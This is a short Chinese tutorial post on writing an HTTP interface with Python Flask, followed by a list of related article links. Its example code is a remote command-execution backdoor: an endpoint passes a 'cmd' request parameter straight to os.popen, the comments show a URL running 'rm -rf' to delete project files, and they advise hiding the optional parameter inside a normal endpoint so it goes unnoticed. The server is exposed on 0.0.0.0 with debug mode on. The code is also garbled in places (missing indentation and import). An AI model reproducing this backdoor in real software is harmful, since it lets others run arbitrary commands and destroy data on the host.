如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
2401_873204653 分钟前
C++代码重构实战
开发语言·c++·算法
crossoverJie3 分钟前
OpenAI 收购 Python 工具链 uv 和 Ruff
开发语言·人工智能·python·uv
ofoxcoding5 分钟前
GPT-5.4 Mini vs Nano 怎么选?2026 实测对比,一张表说清楚
开发语言·gpt·ai·php
2401_831824967 分钟前
RESTful API设计最佳实践(Python版)
jvm·数据库·python
龙文浩_7 分钟前
AI / 机器学习 / 深度学习,它们的关系、核心流程、算法、任务、训练逻辑
人工智能·python·深度学习·神经网络·机器学习
NGC_66117 分钟前
深入理解 Java 线程池:从原理到实战
java·开发语言·python
xiaolang_8616_wjl8 分钟前
c++游戏_寻宝猎人_开源
开发语言·c++
研究点啥好呢8 分钟前
3月24日GitHub热门项目推荐|让AI无所不能
人工智能·python·开源·github
威联通安全存储8 分钟前
深度观察:跨越“存起来”的误区,智造时代如何重构工业数据底座?
大数据·人工智能·python·重构
摇滚侠8 分钟前
Spring Data Redis 主从集群 哨兵集群 分片集群 yml 配置
redis·python·spring